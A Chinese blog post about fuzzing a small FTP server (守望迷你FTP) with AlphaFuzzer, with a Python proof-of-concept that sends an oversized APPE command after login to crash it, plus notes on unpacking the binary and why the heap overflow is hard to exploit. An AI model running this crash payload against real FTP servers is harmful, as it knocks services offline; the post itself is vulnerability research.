一次ftp fuzzing

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/qq_19683651/article/details/79832643

前言

第一次尝试ftp fuzzing,然后其中遇到很多问题,和大家探讨下。
目标程序是守望迷你FTP服务器,网上可以搜到,fuzzing工具是天融信的AlphaFuzzer。

配置完ftp
这里写图片描述
直接用AlphaFuzzer中的ftpfuzz功能,出现可能的poc指令。

这里写图片描述
因为最后要写成poc,所以我这边直接写成python。

import socket,sys
def ftp_test(ip,port,user,passwd):
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        connect=s.connect((ip,port))
        print '[+] Connected!'
    except:
        print '[!] Connected failed!'
        exit(0)
    print s.recv(1024)
    s.send('USER %s\r\n'%user)
    print s.recv(1024)
    s.send('PASS %s\r\n'%passwd)
    print s.recv(1024)
    s.send('APPE '+'./A'*102+'\r\n')
    #s.send('CWD '+'a'*272+'\r\n')
    try:
        print s.recv(1024)
        print 'failed'
    except:
        print 'ok'
    s.close()

if __name__ == '__main__':
    ftp_test('127.0.0.1',21,'admin','123456')

然后进行调试ftp,找出溢出利用的方法。简单分后发现守望ftp是由php写成的,加了upx壳,php能写桌面这块还不是很了解。
脱壳后,分析后直接找到recv函数,在php_sockets.dll的0x56E8处直接断点。
这里写图片描述
分析发现溢出存在偶然性,每次accept一次,ftp则会创建一个堆,每次recv 0x210 byte,而在malloc的地址在栈的上面的时候,才有可能触发异常,所以想要真正利用这个溢出点还是比较困难的。

猜你喜欢

转载自blog.csdn.net/qq_19683651/article/details/79832643